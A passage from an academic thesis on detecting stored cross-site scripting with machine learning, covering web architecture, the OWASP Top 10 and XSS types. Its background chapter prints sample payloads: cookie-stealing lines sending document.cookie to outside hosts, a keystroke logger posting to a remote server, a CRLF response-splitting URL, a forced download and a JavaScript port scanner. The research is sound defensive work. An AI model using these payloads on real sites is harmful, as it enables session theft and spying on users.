There are a number of attack types which are used to damage web applications and exploit their vulnerabilities: such as, SQL injection, insecure misconfiguration, and

so on. This research focuses on the detection and prevention of XSS attacks that are sent via HTTP requests to the web application server and are then stored in the database so that they can affect the web application's visitors. In addition to this research focus there is also an attempt to investigate the possibility of detecting SQL and LDAP injection attacks, using the same method. As previously stated, there are many studies which deal with the issue of XSS attacks; these studies cover many techniques: e.g., static or dynamic analysis and using machine learning to detect attacks. This research concentrates on XSS attacks for the following reasons:

- Vulnerability to XSS is classified in OWASP 2017 as the most common security issue and in the top ten vulnerabilities, OWASP statistics have classified XSS as the most dangerous type of attack [150].
- The need to focus on a particular type of web application vulnerability.

1.4 Contributions

The contributions of this thesis are:

1. Creating a dataset that contains real XSS attacks against web applications, which include obfuscated and non-obfuscated attacks, functions that to obtain information from the victims, in addition to attacks that have been encoded using different types of encoding such as URL, Hexadecimal, Base64. This dataset can be used for experimental purposes.
2. Extracting a feature set depending on the type of attack (here written in JavaScript) which is expected; in addition, common features are found in the scripts used to attack web applications. Thus, dividing the features into relevant groups depends on the common features and the features specific to the particular type of attack in question.
3. Detecting XSS attacks based on supervised machine learning techniques involves here the use and evaluation of multiple methods: Support Vector

Machine, k-Nearest Neighbour, Random Forest, and Neural Network classifiers. And all of these methods must deal with cases of obfuscated and non-obfuscation scripts - to simulate the situation with respect to real attacks.

4. Increasing accuracy by the use of combined techniques, viz, cascading classifiers together with stacking ensemble techniques.

5. Extracting rules from classifiers that explain how each classifier makes its decision. With the aim of developing web applications to be with a high level of security.

1.5 Research Method

This is an empirical study which will develop a method for detecting stored Cross-Site Scripting attacks - sent via input points in web applications and then saved to the server-side database. The methods employed here will take advantage of use of supervised machine learning algorithms. Classifiers, trained via such algorithms will check requests that are sent to the web application via the user's browser. Once such requests are received, the features are extracted from it and examined using one of the classifiers selected for this study. If the classifier returns a result that the payload is benign, it will be passed to the web application database to be stored and displayed to users. If the classification result is malicious, it will be stopped and not allowed to pass to the web application database, but it will be stored in a separate database for the purpose of improving the classification process.

The aim of this present study is to propose systems which will detect known Cross-Site Scripting attacks, and also novel ones; the operation of such classifiers to depend on the pattern of attacks on which the classifier was trained. The process of detecting attacks will be based on five types of machine learning algorithm: Support Vector Machine with each of two kernels, k-Nearest Neighbour, Random Forest, and Neural Network. The purpose of using a machine learning approach is its ability to detect zero-day attacks, whereas it can detect attacks at the time of its occurrence against web applications. In addition to the fact that normal activities

are customised to each system, application, or network, thereby making it difficult for attackers to know which activities can be performed without being detected. The main disadvantage of using a machine learning approach is the potential for high false alarm rates (incorrect classifications) [30], which may cause a malicious payload to pass to the web application or quarantine of a benign payload. Bearing this in mind, during this study, malicious will be used to indicate the possibility for the payload to be malicious. As this study aims to create classifiers that have been balanced in terms of false positives and false negatives to achieve the best possible classification.

This study will be carried out across several phases in order to achieve the following objectives, as discussed next.

1.5.1 Collecting Data

This is the first phase, wherein the largest possible number of malicious instances of XSS attacks; and SQL and LDAP injections will be collected, including benign instances of all types such as benign JavaScript, and normal text.

1.5.2 Extracting Features

This is the second phase of the study, in which the feature sets will be extracted on the basis of which the classifiers will then be trained. The features were divided into two main groups: common features and features relating only to a particular type of attack.

1.5.3 Training Classifiers

This is the third phase, in which the selected classifiers will be trained to detect XSS, SQLi and LDAP attacks by using the features groups that will be identified in the second phase and then extracted from the datasets. In addition, the classifiers will be optimized to obtain the best possible results.

1.5.4 Evaluation

This is the fourth phase, in which the effectiveness of the classifiers built in the third phase will be evaluated. Effectiveness will be tested via sequences of user input. A thorough analysis of the results will be performed to measure the effectiveness of the classifiers. Comparison of the results with those of existing approaches in the literature will also take place.

1.6 Thesis Outline

- **Chapter 2:** Introduces the web applications architecture and the transformations of data which take place between layers. Also, it discusses the concept of security in web applications and illustrates the top ten vulnerabilities of such applications. In addition, it provides an overview of the current methods employed to detect and prevent XSS attacks. Moreover, it reviews the types of XSS attacks extant with an explanation of the risk to the user caused by these types of attack. Furthermore, it reviews code obfuscation with an explanation of the most common methods of obfuscation. Then, it outlines the types of machine learning used in this area. Finally, it discusses detection techniques used to detect XSS attacks.

- **Chapter 3:** Provides a discussion of the creation of the datasets and the sources used for this, in addition to their types and divisions. Explains the XSS, SQL-i, LDAP, and text datasets, and provides methods that were used in preparing the dataset. Extracting features, and the methods that are used for this selection, and also presented to differentiate between malicious and benign scripts. Completes the discussion by explaining in detail the features groups.

- **Chapter 4:** Provides details of, and discusses, the types of classifier that have been used in the experiments. Each classifier is discussed separately in detail with an explanation of the classifier optimizations and parameter-settings that

have been used. Moreover, the initial results obtained from using the selected classifiers to detect, separately, the three types of attacks, XSS, SQLi and LDAP separately, are also evaluated.

- **Chapter 5:** Provides details of, and discusses, the results obtained from the use of the different feature sets to detect the three different types of attack. The results will be presented and analysed in relation to each of the selected classifiers separately.

- **Chapter 6:** Provides details of and discusses the ensemble techniques and the cascading classifiers. It presents the evaluation criteria and the results of testing each component of the framework. The results obtained are used to measure the effectiveness of each component in the framework.

- **Chapter 7:** Presents the methods by which both the exact and the approximate rules were extracted from the 'black box' classifiers by using a Boolean dataset. It also discusses the methods of sampling that are employed for these purposes. In addition, it describes the methods by which the Boolean expressions will be minimized, and finally it discusses the results obtained from testing the extracted rules on the testing dataset and compares them with the results obtained from the classifiers themselves.

- **Chapter 8:** Provides a summary of the thesis as a whole, and discusses the main results achieved. In addition, it discusses the results obtained from the experiments and the achievements of this research in relation to its set objectives. Moreover, it summarises the contribution of this present research and explains the limitations which emerged in the course of this study. Furthermore, it proposes future work related to this thesis.

1.7 Publication

The following peer-reviewed papers have been published

1. Mereani, F. A. and Howe, J. M. (2018a). Detecting Cross-Site Scripting Attacks Using Machine Learning. In Advanced Machine Learning Technologies and Applications, volume 723 of AISC, pages 200–210. Springer.

2. Mereani, F. A. and Howe, J. M. (2018b). Preventing Cross-Site Scripting Attacks by Combining Classifiers. In Proceedings of the 10th International Joint Conference on Computational Intelligence - Volume 1, pages 135–143. SciTePress.

3. Mereani., F. A. and Howe., J. M. (2019). Exact and approximate rule extraction from neural networks with boolean features. In Proceedings of the 11th International Joint Conference on Computational Intelligence - Volume 1: NCTA, (IJCCI 2019), pages 424–433. INSTICC, SciTePress.T

4. (Consideration) Mereani., F. A. and Howe., J. M. (2020). Rule Extraction from Neural Networks and Other Classifiers Applied to XSS Detection. Submitted to Springer Book of NCTA 2019.

Chapter 2

Background and Related Works

2.1 Introduction

This study focuses on detecting XSS attacks against web applications; such a study requires a thorough understanding of some basic concepts relating to web applications architecture. Moreover, it is necessary to understand the methods that are used to send requests to web servers as well as the dangers that arise from XSS attacks.

This chapter is organized into a number of sections. An overview of web applications will be presented first, with an explanation of the concepts and architectures involved with these applications, in Section 2.2; in addition, an outline of HTTP requests is included in that section. Section 2.3 reviews security in web applications with an explanation of vulnerabilities and vulnerability types. Furthermore, that section will outline the 'top 10' web application vulnerabilities. Section 2.4 describes cross-site scripting (XSS) and its history, and the types of cross-site scripting which may be encountered. Furthermore, the dangers represented by XSS are described. Section 2.5 provides an overview of this technique with an explanation of the most common methods used by attackers to obfuscate their attack-code. Section 2.6 discusses the methods used to analyse XSS attacks against web applications, with a detailed explanation of each type of attack. Section 2.7 this section provides an overview of machine learning. Section 2.8 reviews the types of machine learning which exist with an explanation of the most commonly used methods. Section 2.9

explains supervised learning and the types of such algorithms available. Section 2.10 discusses related works focused on detecting cross-site scripting attacks and the exploitation of web application vulnerabilities; the approaches are categorized based on the techniques that are used to prevent XSS attacks. Section 2.11 summarizes the chapter.

2.2 Web Application Overview

The security of web applications is an issue for many organizations: companies, banks, universities, and so on. A basic knowledge of web application architecture and the data transformations which take place within such is required in order to understand the security aspects of these applications. In this section, we will review web application architecture as well as the data transformations which take place within applications.

2.2.1 The Concept of the Web Application

The rapid development of computer software and also communications over the Internet has led to an increase in services provided over the Internet. Companies or institutions are motivated to attract users to access their own web pages in order to achieve the best returns on the investments they have made into their availability on the Internet. Thus, these institutions and companies put a great deal of effort into developing the services and data which they make available via web applications. A web application is a software system that can be accessed by the end-user over the Internet [37]. Accordingly, a web application has some features which are similar to those of the web itself: e.g., accessibility, availability, and scalability.

2.2.2 Web Application Architecture

Web applications typically consist of three main layers, as follows: (domain) the logic layer, the middle-tier, and the data layer. Figure 2.1 shows the web application layers.

Fig. 2.1 Web Application Architecture [209]

The web application architecture can be described, according to [209], as follows:

- **Client layer:** This layer is executed on the user's browser and implements the user interface. It allows the user to view the web page content and enter, or change, input data as needed. The techniques used by the client layer are:
  - **The dump technique:** This technique is used in older versions of websites — those constructed by employing HTML code only. However, when using such pages, no data validation can be carried out on the client-side and this means that the earliest that entered data can be checked is in the middle tier. Accordingly, if any errors are caught by the middle tier layer, this will be resoponsible for posting a notification of the error back to the user's browser.
  - **The semi-Intelligent technique:** This technique employs HTML, JavaScript, and dynamic HTML to build the pages. This is more flexible than the previously mentioned environment and allows the developer to design pages which can dynamically offer different options to the user and can validate the user's input, all these processes being executed on the client-side. As a result, the performance of the pages will be better.

- **Middle tier:** This tier actually consists of two (sub) layers, a presentation layer and a business layer. The presentation layer decodes the pages submitted to the server and then generates the actual web pages and dynamic content to be displayed on the client-side device. This layer also extracts the data that is submitted by the user and then sends this to the business layer. The business layer's task is to perform the logic of the application, such as calculations and user validation. In addition, this latter layer is used to manage work-flow and control access to the data layer.

- **Data layer:** This layer organizes and stores the data that is passed from the business layer and obtains any required computational results from the business layer as well. Moreover, some further data manipulation may occur in this layer. For example, a business layer may request specific data from the data layer. The necessary preparation of this data (for use) can take place at either layer: business or data. Similarly, if calculation or the grouping of data is needed, the database engine (at the data layer) and its procedures can be used to perform these tasks.

2.2.3 HTTP Requests

The Hyper-Text Transfer Protocol (HTTP) is an internet protocol which operates on a message-based model. Essentially, a client sends a request to the server then the server returns the response to the client. This is an application-level protocol which was used, originally, only to send and receive static resources. Subsequently, to support the massive recent developments in Internet use, HTTP has been augmented in order to support complex applications [60]. Nevertheless, HTTP is one of the most significant means by which attackers can send malicious scripts to servers. Attackers use numerous techniques, all afforded by HTTP. These techniques are all based on requesting the execution of a function provided by the web server. The methods most commonly used in a request to retrieve or update a resource held on a web server are GET and POST (attackers are also interested in inserting malicious content into databases [182]). GET sends parameters directly, using a URL query string. POST

sends data in the body of the message. There are other methods offered by HTTP1.1 — other than GET and POST. These are TRACE, DELETE, HEAD, PUT, OPTIONS, and CONNECT. Not all of these methods are implemented on every server, but GET and HEAD are ubiquitous. However, none of these methods are entirely methods in that all of them can be used for targeting web applications[104].

GET and HEAD are both used to request web pages; HEAD is like GET except that the server returns in its response only the headers. OPTIONS is used to find out what methods are supported by a server. The TRACE method returns information concerning the last request made to the server. The PUT method is used to upload data to the server. The DELETE method is used to remove resources from the server. The CONNECT method is used to create an HTTP tunnel, to support further requests [173].

2.3 Web Application Security

Web applications, of course, will allow users to access the services that they have been set-up to offer. However, this means that they may create vulnerabilities whereby attackers can exploit these applications for illegitimate purposes. People who have extensive knowledge of computer technology and who aim to damage or bypass internet security are commonly known as hackers, and their activities are known as hacking [79]. One of the main reasons for weaknesses in web applications is that developers focus on implementing functionality and so do not concentrate on the security side [8]. Many approaches have been developed to improve the security of web applications with respect to malicious attacks. Each approach tends to provide protection from a particular perspective. Some approaches attempt to secure the network, some to secure the application server, and some to secure the application itself. In order to find a solution, developers must be familiar with the problem that requires this solution. Thus, in the following, common security problems are reviewed together with an explanation of the types of hacking (and its purposes) associated with each.

2.3.1 Hacking

Originally, the name "hacker" was used for anyone exploring or trying to understand how a computer system works and who wrote untidy code for temporary purposes. However, this idea of the “hacker” has changed over time. The term is now used for anyone who uses malicious code in order to crash a system, obtain unauthorized access to personal data, or for any other malicious purposes [56].

2.3.2 Types of Hacking

In general, hackers can be classified according to specific criteria which distinguish between each type. The first level of classification is defined from the ethical perspective; thus, at this level, hackers can be classified into one of two types: ethical and unethical. Ethical hackers include those whose intention is to perform a test to find vulnerabilities in an application — using hacker techniques [17, 20, 154]. Unethical hacking has a malicious goal — of, for instance, damaging an application or of stealing sensitive information. A further level of classification is based on the target of the hacking, as follows:

- Server hacking operates by exploiting an insecure port on a server.
- Network hacking is aimed at stealing data that is transferred over the network.
- Personal computer hacking operates by taking advantage of unsafe ports on PCs, or alternatively by exploiting vulnerabilities in a browser running on a PC — in order to steal personal information.
- Web application hacking proceeds by finding vulnerabilities in a web application then exploiting them [20].

Therefore, hacking, generally, is a threat to the web environment. In response, the purpose of web application security is to secure applications wherever they are implemented — from user devices to application servers.

2.3.3 Web Application Vulnerabilities

Web applications suffer from many common types of vulnerabilities. A vulnerability is a weak-point, or "gap" that allows a malicious attacker to put the application stakeholders at risk. Stakeholders are defined to be the user, the owner, and any other agents that the application depends on (and to one extent or another, depend on it) [149]. There are several types of web application vulnerability. Each type is associated with certain kinds of attack which take advantage of it. Each kind of attack has its own specific properties such as its style and how it can be detected and/or prevented. The Open Web Application Security Project (OWASP) statistics showing the top ten kinds of vulnerability associated with web applications are as follows:

Fig. 2.2 OWASP Top 10 for 2017 [133]

The types of attack included in OWASP 2017 [150] are as follows:

- **A1-Injection:** This vulnerability leads to the attacker injecting commands or inquiries into the application via untrustworthy data. The application interpreter will execute the injection alongside the normal commands issued to the application. In this way, the application data can be affected by unauthorized access, and other effects can result from the execution of commands not issued in good faith by authorized users. The most common types of injection are SQL (Structure Query Language) injections; OS (Operating System), termed, shell injections; and LDAP (Lightweight Directory Access Protocol).

- **A2-Broken Authentication and Session Management:** This type of vulnerability occurs as a result of poor implementation of authentication functions; this means that the attacker can hijack user sessions or passwords by compromising the authentication provisions, then using the hijacked information for harmful purposes such as the exploitation of sessions, posing as a legitimate user.

- **A3-Sensitive Data Exposure:** This vulnerability results from web sites not adequately protecting their sensitive data, such as credit card numbers, Tax IDs, and authentication credentials. The attacker may steal or modify poorly protected data, so as to conduct credit card fraud, identity theft, or other crimes. Sensitive data requires additional protections such as encryption, when at rest or during transport, as well as special precautions when exchanged with the browser.

- **A4-XML External Entities:** This vulnerability, otherwise known as XEE, is one that allows an attacker to interfere with the processing of XML data. XEE often allows an attacker to browse files on the application's server file system, which may exchange data with back-end or external systems that are connected to the system or are accessible via the application.

- **A5-Broken Access Control:** This vulnerability occurs when there is no automatic detection of this implemented in an application. This vulnerability enables an attacker to access pages within a web application that visitors cannot access. The attacker can bypass the access control by modifying URLs, the internal application state, or the HTML pages. One possible consequence of this vulnerability is to allow changes to the user records so that the attacker can gain the privilege of being able to log-in as a user (without actually logging-in), or even to act as an administrator.

- **A6-Security Misconfiguration:** This vulnerability is a result of a misconfiguration of the system components, or of not using the latest updates of these components. Therefore, to avoid this type of vulnerability, a secure configu-

ration encompassing all components must be maintained. The configuration must be performed both at system implementation and when maintaining the system. Moreover, it must ensure all system programs are up to date, from the operating system to the database management systems.

- **A7-Cross Site Scripting (XSS):** This type of hack occurs as a result of poor verification of untrustworthy data sent via web applications to the web browser. This vulnerability allows a malicious script to run on the victim's computer. Such attacks can be classified into two categories, that is, first-order and second-order attacks. First-order attacks are performed by inserting a script into the web application (as it runs on the browser), or by inveigling the victim to click on an infected link which causes the malicious script to be executed; these kinds of attacks are also called reflected or non-persistent XSS. In contrast, second-order attacks are termed persistent because the attacker stores malicious scripts in the application database and thus these are active on a permanent basis; these scripts are therefore called stored or persistent XSS. As a result of either kind of XSS, the attacker can redirect the victim to other malicious sites [102].

- **A8- Insecure Deserialization** Insecure deserialization often leads to remote code execution. Even where deserialization flaws do not result in remote code execution, they can be otherwise used to perform attacks, including replay attacks, injection attacks, and privilege escalation attacks.

- **A9 -Using Components with Known Vulnerabilities:** The components of an application, such as libraries, frameworks, and other software modules, always have full privileges. An attacker may exploit any vulnerable components in order to facilitate data loss, or even to takeover the server. Applications may include components which contain vulnerabilities that might threaten the security of the application and enable a range of potential attacks.

- **A10-Insufficient Logging & Monitoring:** This vulnerability results from failing to properly log important security events and monitor current security

events. Undeniably, the absence of this monitoring makes it difficult to detect malicious activity, and this affects the handling of such activity when an attack occurs.

The vulnerabilities noted above were the top ten in 2017. Moreover, there are many studies on, and tools built for, the detecting of the various types of web application vulnerability. This research will explore just one type of vulnerability, that exploited by cross-site scripting, which is described in more detail below.

2.4 Cross-Site Scripting

Cross-site scripting is a kind of attack which makes use of a common vulnerability present in web applications; in essence, it consists of hacking by executing malicious scripts injected by the attacker. Also, it has been classified as the seventh most serious vulnerability of web applications, in accordance with the OWASP statistics [150].

2.4.1 History

Right from the beginnings of the World Wide Web in 1996, and subsequently, from the beginning of e-commerce, the vulnerabilities which can lead to cross-site became evident [63]. In December 1999, David Ross was working on the security responses of Internet Explorer at Microsoft. Ross demonstrated that it was possible for web content to be vulnerable to "script injection", effectively bypassing the security guarantees which are implemented via what is referred to as the same-origin security policy; the vulnerability resultant from this useful, but inadequate policy, is a fault which exists on the server-side rather than the client-side. Ross introduced this issue in a paper entitled "Script Injection" [63]; he described the problems, how the vulnerability could be exploited, how an attack could be made persistent using cookies, and how a cross-site scripting (XSS) worm works, and also the solutions based on Input/Output (I/O) filtering.

It should be noted here that an XSS attack takes advantage of the same-origin policy (SOP) as SOP allows the browser to access another page if both pages have the same origin. A page's origin is identified via a combination of the URI scheme, the hostname, and the port number [4]. Attacks written in JavaScript bypass the SOP protection because a JavaScript that runs on a web page will run within the security context of that page. This means that the attacker is free to execute malicious scripts on the victim's page, and so such scripts can gain access to the page's resources and data.

The use of the acronym CSS caused a confusion between the terms cross-site scripting and cascading style sheets, so to avoid the confusion the acronym XSS is used instead. Cross-site scripting (XSS) is the class of web application attacks in which an attacker causes a victim's browser to execute JavaScript with the privileges of a trusted host [203]. In other words, XSS is an attack caused by the injection of malicious JavaScript into either the client or server process[63]. A XSS attack's bypassing of the same-origin policy enables the script to interact with another site via the browser, which is the reason that this type of attack is called cross-site.

Many web applications have a dynamic user interface applying such facilities as input forms, image view, and so on. One of the main languages employed to implement interactive user interfaces is JavaScript, which is usually included in, or imported into, HTML pages. When the user browses pages that contain JavaScript, then these scripts are executed on the user's browser. Often, a web page will contain several locations at which input data is requested from the user. Users can enter data at these points within HTML pages in a text format, but the page, the HTML itself, does not verify or validate the data entered at these locations. Therefore, these data-entry locations enable an attacker to inject malicious JavaScript by simply entering such script as user input.

One simple kind of XSS attack is known as phishing. A phishing attack is defined as an attempt to deceive the victim by using either or both social engineering and technical subterfuge to steal a victim's sensitive data — such as personal or financial identity data [43]. An example of phishing with XSS is that of using query

strings in malicious URL strings, which are sent to the victim purporting to be a legitimate website URL. An example is "www.mybank.com/program?querystring", where the string after the "?" is used by the attacker to include malicious script such as "www.mybank.com/?q=%28%22%3Ciframe +src%3D%27http%3A%2F%2F...". If the victim clicks on a link that contains this malicious code, then this code is run as a component of the current page; thus circumventing the standard trust policy (SOP) that is maintained by the browser.

Another example of a type of XSS attack is that of stealing cookies. This type of attack, as its name suggests, has the ability to obtain the data contained in cookies; the user's cookies are transferred to the attacker when the user opens a web page that contains a particular kind of XSS. An example of such an attack is:

```
document.location="http://bsite.com/cookie.cgi?cookie=',
+document.cookie;
```

The value of the parameter "cookie" in "document.cookie" is a function which obtains cookies. Thus the cookies are stolen once the user opens the web page [108].

XSS attacks are not limited only to JavaScript injection. That is, it is not necessary to use JavaScript as the attack vector; such attacks can be based on other vectors, e.g., Flash, VBScript, QuickTime, CSS, XUL, and even browser extensions, as well as PDF files [63, 137]. In this study, the focus will be purely on the kind of XSS attacks that work by being stored in web application databases.

The most well-known sites that have been affected by XSS are Facebook; attacks via this means have affected around 400 million Facebook users. In addition, more than 75 million Twitter users who have been affected by such attacks [216]. In October 2005, the Samy worm infected more than 1 million users of MySpace.com within 24 hours. The Orkut Born Sabado virus was a very well disguised XSS worm. While this latter was active, an Internet user account on Orkut could be tainted by the user causing the interpretation of just a fragment of code transferred by a user who had already been infected. The JavaScript Yamanner worm was discovered to have attacked Yahoo! Mail. The Xanga XSS worm was found on a number of blogs. The Gaia worm and the U-Dominion XSS worm were both

discovered to have infected web gaming applications. The Justin.tv XSS worm was detected on a video-hosting website. The SpaceFlash XSS worm also infected the MySpace web application. [73]. Most worm attacks that have been significantly successful in exploiting vulnerabilities have been stored XSS attacks infecting web applications. The difference between an XSS attack and an XSS worm is that an XSS attack occurs when the attacker injects a malicious script onto the client-side, so the script is executed on the victim's browser with the same permissions as benign scripts in order to obtain sensitive information from the victim. In contrast, an XSS worm controls the web browser and propagates itself by forcing the browser to copy malware to other websites and so infect others [71].

2.4.2 Cross-Site Scripting Types

The understanding of, and the identification of the types of, XSS attack is an essential first step. The main types of XSS attack are as follows: non-persistent (reflected) XSS, persistent (stored) XSS, attacks exploiting DOM-based vulnerabilities, and Induced XSS; the latter is not as common as the other three types of attack [122].

2.4.2.1 Stored or Persistent XSS:

This type of hack occurs when malicious code is injected into web application servers in such a way that it stays there on a permanent basis; this is done by, first, searching for vulnerabilities in a web application, and if any are present, malicious code can then be injected into these (or this). As a result of this activity, a malicious script will be stored in the web application database, such that this (the code) is executed every time the associated web page is visited. Thus, the script will run on the victim's browser in order to obtain sensitive information from the victim, which it will then make available to the attacker. It will also retain its place on the application's database, ready to affect another user. Usually, XSS attacks are performed on web applications that take input from the user in the form of text and then store this text in the application's database. Examples of facilities that are vulnerable to this type of

attack are blogs, forums, comments, and profiles [105, 122, 147]. Figure 2.3 shows the nature of a persistent XSS attack.

Fig. 2.3 Stored or Persistent XSS

2.4.2.2 Reflected or Non-persistent XSS:

In contrast to XSS stored attacks, XSS reflected attacks do not store malicious script on the web server. This kind of attack occurs when the attacker sends the malicious code either by email or otherwise via an embedded link. When the user uses this link, the code then causes the victim, unbeknownst to him/her, to be redirected to another server — which is under the attacker's control. From this point on, the attacker is at liberty to send malicious code to the victim, which is then executed on the victim's browser, see Figure 2.4.

By employing the above means, an attacker can bypass the SOP (same origin policy), and so, when the code is executed on the browser, the attacker can obtain sensitive information from the victim[105, 122, 147].

2.4.2.3 DOM based XSS:

This type of XSS attack occurs as a result of the attacker modifying the DOM (Document Object Model) environment in the victim's browser. This is modified by the attack-script and this leads to the client-side code running in an unexpected

Fig. 2.4 Reflected or Non-persistent XSS

manner. In such an attack, the web page itself does not change, but the results of running it are unexpected — because of the changes that have occurred in the DOM environment. A DOM-based attack differs from the previous type of hack because it is executed on the client-side [122]. The attack occurs when malicious code (JavaScript) has gained access to the URL parameter and this access has been used to write attack HTML code which will be executed as an error response when the legitimate page code is executed in the new DOM environment (which causes it to fail) [105]. The workflow for this kind of XSS attack is shown in Figure 2.5.

2.4.2.4 Induced XSS:

This type of server-side attack is uncommon but nevertheless possible. An induced XSS attack is otherwise known as an HTTP response splitting attack. Here, a HTTP request, sent to the server as a result of some client-side process, contains malicious code. When the application/server responds to the request, it will include the malicious code, from the request, in the HTTP header of the page it intends to 'send back' to the client. In the process of responding, the server will evaluate the response as HTML; thus, the malicious code will be executed in the server environment and allow further breaches. This type of attack can, generally, only occur when the application allows input to contain carriage return and line feed.

Fig. 2.5 DOM-XSS Workflow [121]

Example of an "Induced" XSS attack on a server, using JSP obtained from [55]: The server will generally have a script (redir_lang.jsp) in JSP that redirects users to the version of the website appropriate to them as determined by the language they have selected for use; the following code could be used for this:

```
&lt;% response.sendRedirect("/lang.jsp?lang="+
request.getParameter("lang")); %&gt;
```

When the user makes a request for the use of a particular language (lang = English), the server redirects to the correct selection. The server only accepts (“es"/"en") as valid inputs for the language, so the header is:

HTTP/1.x 302 Movido temporálmente

Date:Tue, 11 Jul 2009 15:59:33 GMT

Location:http://www.xxxxx.com/lang.jsp?lang=Ingles

Server: Server: Apache-Coyote/1.1

Content-Type:text/html;charset=ISO-8859-1

Set-Cookie: usc_lang=3; Expires=Thu, 22-Oct-2009 15:59:33 GMT

Connection:Close

[...]

Also , the request will seek to provide a "solution" to the user, inserting the website that "should" apply. The message which is displayed to the user is usually something like the following:

302 Moved Temporarily

This document you requested has moved temporarily.

It's now at http://www.xxxxx.com/lang.jsp?lang=en

The above means that the parameter "lang" is now "embedded" in the head "Location" of the HTTP headers. This, in turn, means that an attacker can try to change this parameter for nefarious purposes. Thus, the attacker may proceed by creating a malicious HTTP response using "splitting." For that, we are going to make a request to the -script- (redir_lang.jsp) with an injection which uses CRLF encoding. Through a series of characters will "close" the first response from the server and will "open" a new just after (2 responses 1 == HTTP Splitting):

Inject the code directly into the URL of the script (redir_lang.jsp):

http:www.xxxxx.com/redirtextunderscore lang.jsp?lang=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent- Length: %2019%0d%0a%0d%0a&lt html>SCG-09&lt /html>

We note the response from the server:

HTTP/1.x 302 Movido temporálmente

Date: Tue, 11 Jul 2009 14:07:11 GMT

Location: http://www.xxxxx.com/lang.jsp?lang=foobar Content-Length: 0 HTTP/1.1 200 OK

Content-Length: 19 &lt html&gt SCG-09&lt /html> Server: Server: Apache-Coyote/1.1

Content-Type: text/html;charset=ISO-8859-1

Set-Cookie: usc_lang=3 Expires=Thu, 22-Oct-2009 15:59:33 GMT
Connection: Close

As we see there has been a "split." The attacker has modified a valid injection, extending the header to include an HTML page with text SCG-09.

This study will focus on persistent XSS (stored) attacks, whereby the script is stored in the web application database and so affects the web application's visitors.

2.4.3 Dangers caused by XSS

XSS attacks pose significant risks to the user, especially risks associated with the obtaining of sensitive user information. The following are the most common exploitations that may be perpetrated against the user via XSS attacks.

- **Stealing a user's cookie:** A cookie is an information file, created by a web server, but stored on the user's computer. Its purpose is to maintain, on the user's machine, the user's identity (as far as the server is concerned), and also the user's preferences. In addition, it may contain confidential information such as banking information, passwords, and session IDs. Thus, an attacking system can extract the session ID from such a cookie and place it within its own cookie If the authentication on the web site in question is based only on cookie parameters, then the attacker will acquire full access rights [94, 161]. Example for stealing cookie [214]:

```
document.write('<img src="https://yourserver.evil.com/
collect.gif?cookie=' + document.cookie + '" />')
```

- **Making use of a Modified Web-page** An attacker may modify a web page used by a site so that instead of, or in parallel with, performing its usual function, the page (or more usually, a page that it redirects to) will collect the information that the user types in. Any XSS vulnerability of the page will allow the attacker to include a script that, for instance, redirects the user to another page which

has been set up to steal the user's information. One form of this kind of attack is the phishing which has been carried out on the eBay website; here, the XSS code redirected auction viewers to phishing sites and to modified versions of the eBay auction page which then stole the user's credentials. This led to the disclosure of passwords, credit card numbers, and other personal information [161].

- **Collecting status/statistics information:** The JavaScript language offers programmers access to a number of parameters such as browser history and referrer (in the HTTP header field). This is valuable information for attackers. Such information can be used as the basis for the collection of data for hacking purposes. The attacker includes the URL of an image in a web-site that has been infected; when the user requests the image from the server, it will execute a malicious script (contained in the properties of the image) which will obtain some status/statistical information from the client before allowing the display of the image [161]. Example of the collecting of browser information [214]:

```
document.write('<P>'+navigator.appName+'</P>');
document.write('<P>'+navigator.appVersion+'</P>');
document.write('<P>'+navigator.platform+'</P>');
document.write('<P>'+navigator.userAgent+'</P>');
var plugins = navigator.plugins;
var mimeTypes = navigator.mimeTypes
document.write('<P>');
for (i=0;i<plugins.length;i++) {
   var plugin = plugins[i];
   document.write('<B>'+plugin.name+'</B><BR>');
   document.write(plugin.filename+' -
   '+plugin.description+'<BR>');
   for(j=0;j<plugin.length;j++) {
      var mimetype = plugin[j];
```

```
        document.write(mimetype.type);
        if(mimetype.description) {
           document.write(' : '+mimetype.description);
        }
        if(mimetype.suffixes) {
           document.write(' - extentions: '+mimetype.suffixes);
        }
        document.write('<BR>');
     }

  }
  document.write('</P>');
```

The above script displays/returns all the browser info: version , platform, and all the installed plugins.

- **Exploiting browser vulnerabilities:** An attacker may exploit the bugs which may be found in the user's browser and/or in any plug-ins installed on the browser — via malicious JavaScript or HTML. For instance, if there is a bug in a plug-in such as VM, this will allow the hacker to perform two-way communication with non-HTTP services on the local computer [161]. The following is the code for a forced download achieved via this mechanism [214]:

```
var link = document.createElement('a');
link.href = 'http://the.earth.li/~sgtatham/putty/
latest/x86/putty.exe';link.download = '';
document.body.appendChild(link);
link.click();
```

- **Capturing Clipboard Contents:** JavaScript can be used to capture the clipboard's contents. Depending on circumstances, this can contain very sensitive user information such as passwords, etc. (which the user may have temporarily

copied into it) [161]. The following code demonstrates how this data capture can be achieved:

```
<script>
alert(window.clipboardData.getData('Text'));
</script>
```

- **Keylogging:** An attacker can register what their victim types on the keyboard by using addEventListener, which sends this information to the attacker. The information obtained can be anything that the user types in: e.g., passwords, user-ids, credit card numbers, etc. numbers[94]. Example for keylogger [214]:

```
$('#w').contents().keypress(function(event)
{$.get('http://www.mysite.com/k.php?x='+event.which+'&t=
'+event.timeStamp,function(data){});});
```

- **Stealing History and Search Queries:** JavaScript can be used to discover the sites recently visited by the user and the searches that the user has performed. This can be done by dynamically creating hyperlinks for common web sites, and for common search queries, and using the getComputedStyle API to test whether that link should be colorized as visited or not visited. A huge list of possible targets can be quickly checked with minimal immediate impact on the user [161].

- **Port Scanning and other advanced attacks:** JavaScript can be used to perform a port scan of the hosts on the local network in order to determine which servers can be exploited [161]. Example of a port scan [214]:

```
var AttackAPI = {
AttackAPI.PortScanner = {};
AttackAPI.PortScanner.scanPort = function (callback,
target, port, timeout) {
```

```
var timeout = (timeout == null)?100:timeout;
var img = new Image();
img.onerror = function () {
if (!img) return;
img = undefined;
callback(target, port, 'open');};
img.onload = img.onerror;
img.src = 'http://' + target + ':' + port;
setTimeout(function () {
if (!img) return;
img = undefined;
callback(target, port, 'closed');
}, timeout);};
AttackAPI.PortScanner.scanTarget = function (callback, target,
ports, timeout){
for (index = 0; index < ports.length; index++)
AttackAPI.PortScanner.scanPort(callback, target,ports[index],
timeout);};
```

Malicious code may be inserted by an attacker in one of two forms. The first form is that of normal statements of the attacker's chosen programming language (generally, JavaScript); the second form is that of obfuscated code, as described in the following.

2.5 Obfuscation of Malicious Code

